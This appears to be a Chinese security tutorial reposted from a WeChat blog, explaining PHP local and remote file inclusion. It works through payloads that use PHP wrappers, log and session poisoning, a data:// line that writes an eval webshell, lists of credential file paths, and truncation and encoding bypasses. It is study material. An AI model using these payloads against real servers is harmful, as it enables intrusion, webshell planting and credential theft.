本Web安全基础推文系列旨在以平白的语言讲解漏洞原理,文章多数内容为我本人的学习笔记与总结,汇总供大家参考。
目录
1 文件包含漏洞简介
PHP:include() 、include_once()、require()、require_once()、fopen() 、readfile()
JSP/Servlet:ava.io.file()、java.io.filereader()
ASP:include file、include virtual
文件包含漏洞在PHP中比较多。PHP存在如下几个包含函数:
include():包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。
include_once():和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,once 就是只导入一次。
require():包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。
require_once():和 require 类似,不同处在于 require_once 只导入一次。
fopen(): 打开文件或者 URL
以上函数都是加载文件或协议资源,将其内容作为php代码执行。
java.io
Java的核心库java.io提供了全面的IO接口。包括:文件读写、标准设备输出等。Java中IO是以流为基础进行输入输出的,所有数据被串行化写入输出流,或者从输入流读入。
filereader()
FileReader类从InputStreamReader类继承而来。该类按字符读取流中数据。可以通过构造方法创建需要的对象,创建FIleReader对象成功后,可以参照函数方法操作文件。
代码审计时要注意以上出现的函数。
其实文件包含在URL中能够明显地看出来。比如:
http://www.xxx.com/index.php/?name=x.php
http://www.xxx.com/index.php/?file=index2
在PHP中,当使用上面的一些函数的时候,这个文件就会被当作PHP代码进行执行。
PHP内核并不会在意包含的文件是什么类型的,文件包含漏洞在读取源码的时候,若遇到符合PHP语法规范的代码,将会无条件执行。所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。比如图片马,原理就是将一句话木马进行图片隐写,当发过来的是.png的文件也会被当作PHP执行。
2 文件包含漏洞分类
文件包含,包括本地文件包含和远程文件包含两种形式。
1)上传图片马,包含图片马GetShell
2)读取网站源码以及配置文件
3)包含日志文件GetShell
2.1 本地文件包含漏洞
本地文件包含漏洞(Local File Include,即包含的文件在本地服务器),安全防护没到位的情况下,对文件路径加载文件,就形成了本地文件包含。它是PHP中一种较为典型的高危漏洞。
<?php
$filename=$_GET[name];
include($filename);
?>
在网站根目录下面放一个index.php,通过文件包含进行执行,name参数能够被用户控制,那么就形成了本地文件包含漏洞。
2.2 远程文件包含漏洞
远程文件包含漏洞(Remote File Inclusion,远程文件包含的文件不在本地,而需要远程访问其他服务器)。
-
allow_url_fopen=on
-
allow_url_include=on
-
被包含的变量前没有目录的限制
文件包含漏洞危害:读取WEB服务器上的配置文件以及WEB服务器上的敏感文件,并且若和webshell联动,并将恶意代码执行将造成更大的危害,通常来说远程文件包含漏洞危害更大。
3 文件包含漏洞利用
windows下测试,在URL中读取的2.phP,但文件夹中只有2.php,但依旧显示PHP的默认文件。
windows敏感文件绝对路径
c:windowsrepairsam #存储Windows的密码
c:programFilesmysqlmy.ini #mysql配置文件,里面可能有密码
c:windowssystem32inetsrvMetaBase.xml #IIS配置文件
c:boot.ini #查看系统版本
c:programFilesmysqldatamysqluser.MYD #mysql root密码
c:windowsphp.ini #php配置文件
C:Windowssystem.in //winnt的php配置信息
C:Windowswin.ini //winnt的mysql配置文件
C:Program FilesRhinoSoft.comServ-UServUDaemon.ini //存储虚拟主机网站路径和密码
C:Program FilesApache GroupApacheconfhttpd.conf 或C:apacheconfhttpd.conf
//查看WINDOWS系统apache文件
C:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站resin文件配置信息.
C:WindowsSystem32driversetchostswinserver //配置Telnet信息
linux敏感文件绝对路径
/etc/passwd #用户密码
/etc/shadow //用户的密码信息
/root/.ssh/authorized_keys //公钥文件
/root/.bash_history //用户终端操作历史记录
/usr/local/app/apache2/conf/httpd.conf #apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf #虚拟网站设置
/usr/local/app/php5/lib/php.ini #php相关设置
/etc/httpd/conf/httpd.conf #apache配置文件
/etc/my.cnf #mysql配置文件
/etc/sysconfig/iptables #查看防火墙策略
Tomcat
apache-tomcat-8.5.51/conf/tomcat-users.xml //tomcat的角色(授权用户)配置文件
apache-tomcat-8.5.51/conf/server.xml //tomcat的主配置文件
apache-tomcat-8.5.51/conf/web.xml
//tomcat应用程序的部署描述符文件
apache-tomcat-8.5.51/logs/catalina.out
//即tomcat的标准输出和标准出错,所有输出到这两个位置的都会进入catalina.out,这里包含tomcat运行自己输出的日志以及应用里向console输出的日志。
当我们的目标站点没有上传功能时,并且也不能远程文件包含时我们就可以考虑包含日志文件或者其它可以记录客户端输入的文件。原理非常简单,当我们访问网站时,服务器日志会记录我们的行为,当我们的访问链接中含有恶意代码时,也会被记录到日志中,从而通过包含日志可以进行getshell。
Apache
apache存在两个文件日志文件,access.log是记录登录等信息的日志文件,而error.log是错误文件。
Windows系统:
apache安装目录/logs/access.log或者error.log
linux系统:
/var/log/apache/access.log或者error.log
/var/log/apache2/access.log或者error.log
/etc/httpd/logs/access_log或者error.log
Nginx
Windows系统:
nginx安装目录/logs/access.log或者error.log
2)linux系统:
/var/log/nginx/access.log或者error.log
IIS
iis6.0版本
C:windowssystem32LogFiles
iis7.5版本
%SystemDrive%inetpublogsLogFiles
3.4.1 PHP伪协议介绍
http:// #访问HTTPs网址
zip:// phar:// #压缩
expect:// #处理交互式的流
glob:// #查找匹配的文件路径
1) file利用方式
file其实和绝对路径读取差不多。
URL:http://xxx/1.php/?name=file://C:/Windows/win.ini
2) http利用方式
其实http这里的利用方式,除了能够跳转,还能进行远程包含进行漏洞执行。
URL:http://xxx/1.php/?name=http://www.baidu.com
3)data利用方式
利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的。
利用条件:
allow_url_include 和allow_url_fopen为on。
利用方法:
data://text/plain,[php代码]
data://text/plain;base64,[base64编码的php代码]
data:text/plain;base64,[base64编码]
data:text/plain,[php代码]
a、执行任意代码
input.php?filename=data:text/html,%20%3C?PHP%20phpinfo();?%3E
URL:http://xxx/1.php/?name=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
"PD9waHAgcGhwaW5mbygpPz4="是通过base64加密的<?php phpinfo();?>
b、获取shell
filename=data://text/plain,<?php fputs(fopen('test.php','w'),'<?php @eval($_POST[cmd]); ?>'); ?>
这里会在路径写入一个test.php的shell。
4)php利用方式
1. php://filter
php://filter是一种元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启allow_url_include;
php://filter可获取指定文件源码。所以,如果利用包含函数漏洞,php://filter流会被当作php文件执行,我们为了获取源码需要使该源码不被执行。一般对其进行base64编码,使其不被执行,获取到编码后解码,从而达到任意文件的读取。
用法:php://filter/read=convert.base64-encode/resource=要读取的文件
URL:http://192.168.10.150/1.php/?name=php://filter/read=convert.base64-encode/resource=2.php
解密:<?php phpinfo();?> 即2.php的内容。
参数:
resource=<要过滤的数据流> 必须的。指定了要筛选过滤的数据流
read=<读链的筛选列表> 可选。设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 可选。设定一个或多个过滤器名称,以管道符(|)分隔
<;两个链的筛选列表> 任何没有以read= 或 write= 作前缀的筛选器列表会视情况用于读或写链
形式:
php://filter/read=convert.base64-encode/resource=[文件路径]
php://filter/resource=[文件路径]
2. php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。如果存在文件包含漏洞,可将php://input作为文件名传入,同时在post中注入想要注入的代码,php执行时就会将post的内容作为php代码执行。
这里我们先在URL中添加php://input然后抓包把GET修改为POST,最后在数据包的最后输入想要执行的代码就可以实现代码执行。
使用条件:
1)allow_url_fopen :on
2)allow_url_include:on
注:当enctype=“multipart/form-data”时,php://input是无效的。
利用姿势:
php://input (配合post发送数据)
执行任意代码
?file=php://inputpost数据: <?php phpinfo();?>
5)phar利用方式
phar://伪协议 >> 数据流包装器。Phar是php解压包的一个函数,解压的压缩包与后缀无关。
用法:?file=phar://压缩包/内部文件
注意:PHP版本需大于等于 5.3
xxx?file=phar://压缩包/内部文件 phar://xxx.png/shell.php
例如脚本文件为1.php,打包成1.zip,然后再改名为1.jpg
index.php?file=phar://1.jpg/1.php
或 绝对路径
index.php?file=phar://D:/1.jpg/1.php
案例演示
将1.php或者1.txt(重点是内容为php代码)改为1.jpg文件,然后压缩1.jpg文件为1.zip文件
注意:要用/分隔压缩包和压缩包里的文件名
6) zip利用方式
zip://中只能传入绝对路径。
要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型的还有zlib://和bzip2://
使用条件:
1)PHP > =5.3.0(注意在windows下测试要5.3.0<PHP<5.4 才可以)
2)#在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。
利用姿势POC:
zip://[压缩文件路径]#[压缩文件内的子文件名]
例如脚本文件为1.php,打包成1.zip,然后再改名为1.jpg
index.php?file=zip://D:/1.jpg%231.php
3.5 包含SESSION
可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。
利用条件:
找到Session内的可控变量
Session文件可读写,并且知道存储路径
php的session文件的保存路径可以在phpinfo的session.save_path看到。
session常见存储路径:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。
3.6 利用/proc/self/environ进行包含
2. environ 文件存储位置已知,且 environ 文件可读。
proc/self/environ 会保存 user-agent 头。如果在 user-agent 中插入 php 代码,则 php 代码会被写入到 environ 中。之后再包含它,即可
路径不知道试一试
http://www.test.com/view.php?page=../../../../../../../proc/self/environ
4 文件包含漏洞绕过
条件:需要magic_quotes_gpc=off;php版本小于5.3.4;
适用场景:主要适用于在服务端代码里已写死后缀名,00截断就能帮助绕过这类限制完成getshell。%00截断绕过是由于%00代表结束符,所以会把%00后面的所有字符都截断,后端即使加上新的后缀也无效。
%00截断绕过示例
比如上传一个1.jpg图片马,则访问
http://www.xxx.com/1.jpg
其实这个时候访问的是1.jgp.php,因为没有这个文件所以报错。所以可以尝试访问
http://www.xxx.com/1.jpg%00
这时,截断绕过包含成功。
超长字符截断就是利用操作系统对目录最大长度的限制,在Windows中目录长度不可以超过256字节,linux中目录长度不可以超过4096字节。超过的部分会被丢弃。
条件:php版本小于5.2.8可以成功,linux需要文件名长于4096,windows需要长于256(window只使用于win32)
超长字符绕过示例
利用条件如下:
-
php>=5.3 -
allow_url_fopen=on -
allow_url_include=on
使用方法:在远程文件包含时在文件最后添加问号可完成截断
test.php?file=http://xxx/x.txt?
4.4 编码绕过
服务器端常常会对于…/等做一些过滤,可以用一些编码来进行绕过。
1.利用url编码
/%2e%2e%2f...%2f%2e%2e/%2e%2e%5c...%5c%2e%2e
2.二次编码
/%252e%252e%252f/%252e%252e%255c
5 总结
最近整理完基础漏洞,开始要实战以及自动化脚本开发,突破一下自己。希望接下来的时间能沉住气。
参考链接
https://blog.csdn.net/qq_53079406/article/details/124059321
https://www.freebuf.com/articles/web/367359.html
https://github.com/SewellDinG/LFIboomCTF
https://www.cnblogs.com/52php/p/6087317.html
https://www.freebuf.com/articles/web/182280.html
https://www.freebuf.com/articles/web/336692.html
http://www.langzi.fun/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB.html
https://blog.csdn.net/qq_42181428/article/details/87090539
声明:所有内容仅作为学习记录。
请遵守中华人民共和国法律!
click:https://kitescat.github.io/
<Debug urself.>
原文始发于微信公众号(打代码的猫):【開山安全】一文详解文件包含漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论